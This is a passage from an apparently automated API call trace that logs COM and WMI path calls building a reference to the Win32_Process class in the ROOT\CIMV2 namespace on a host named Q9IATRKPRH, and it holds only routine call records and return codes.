ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fdb0) returned 0x0 [0082.824] WbemDefPath:IUnknown:AddRef (This=0x1c02fdb0) returned 0x3 [0082.824] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x2 [0082.824] WbemDefPath:IWbemPath:SetText (This=0x1c02fdb0, uMode=0x4, pszPath="") returned 0x0 [0082.824] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0082.824] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ff30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0082.824] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02fdb0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0082.824] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fdb0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0082.824] WbemDefPath:IWbemPath:SetServer (This=0x1c02fdb0, Name="Q9IATRKPRH") returned 0x0 [0082.824] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0082.824] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0082.824] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0082.824] IUnknown:Release (This=0x111f638) returned 0x1 [0082.826] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c054090) returned 0x0 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054090, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0082.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054090, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fcf0) returned 0x0 [0082.826] WbemDefPath:IUnknown:Release (This=0x1c054090) returned 0x0 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fcf0) returned 0x0 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0082.826] WbemDefPath:IUnknown:AddRef (This=0x1c02fcf0) returned 0x3 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0082.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c054150) returned 0x0 [0082.827] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054150, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.827] WbemDefPath:IUnknown:Release (This=0x1c054150) returned 0x3 [0082.827] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0082.827] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0082.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0082.827] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x2 [0082.827] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x1 [0082.827] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0082.827] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0082.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fcf0) returned 0x0 [0082.827] WbemDefPath:IUnknown:AddRef (This=0x1c02fcf0) returned 0x3 [0082.827] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x2 [0082.827] WbemDefPath:IWbemPath:SetText (This=0x1c02fcf0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0082.827] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02fdb0) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fcf0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fcf0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0082.827] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fdb0, uIndex=0x0, pszName="ROOT") returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fcf0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0082.827] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fcf0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0082.828] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fdb0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02fdb0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0082.828] WbemDefPath:IWbemPath:SetClassName (This=0x1c02fdb0, Name="Win32_Process") returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fdb0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fdb0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0082.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0082.830] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0082.831] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0082.831] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0082.831] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0082.831] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0082.831] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0082.831] IUnknown:Release (This=0x111f638) returned 0x1 [0082.832] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c053f90) returned 0x0 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053f90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0082.833] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053f90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02fc30) returned 0x0 [0082.833] WbemDefPath:IUnknown:Release (This=0x1c053f90) returned 0x0 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02fc30) returned 0x0 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0082.833] WbemDefPath:IUnknown:AddRef (This=0x1c02fc30) returned 0x3 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0082.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c053fd0) returned 0x0 [0082.833] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053fd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.833] WbemDefPath:IUnknown:Release (This=0x1c053fd0) returned 0x3 [0082.833] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0082.834] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0082.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0082.834] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x2 [0082.834] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x1 [0082.834] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0082.834] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0082.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02fc30) returned 0x0 [0082.834] WbemDefPath:IUnknown:AddRef (This=0x1c02fc30) returned 0x3 [0082.834] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x2 [0082.834] WbemDefPath:IWbemPath:SetText (This=0x1c02fc30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0082.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0082.834] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0082.834] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.834] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0082.834] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0082.834] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0082.834] IUnknown:Release (This=0x111f638) returned 0x1 [0082.836] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c053df0) returned 0x0 [0082.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053df0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0082.836] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053df0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fb70) returned 0x0 [0082.836] WbemDefPath:IUnknown:Release (This=0x1c053df0) returned 0x0 [0082.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fb70) returned 0x0 [0082.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0082.837] WbemDefPath:IUnknown:AddRef (This=0x1c02fb70) returned 0x3 [0082.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0082.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0082.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c053f70) returned 0x0 [0082.837] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053f70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.837] WbemDefPath:IUnknown:Release (This=0x1c053f70) returned 0x3 [0082.837] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0082.837] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0082.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0082.837] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x2 [0082.837] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x1 [0082.837] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0082.837] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0082.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fb70) returned 0x0 [0082.837] WbemDefPath:IUnknown:AddRef (This=0x1c02fb70) returned 0x3 [0082.837] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x2 [0082.837] WbemDefPath:IWbemPath:SetText (This=0x1c02fb70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0082.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fc30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0082.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fb70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0082.837] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0082.837] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0082.837] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02fc30) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fb70, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0082.838] 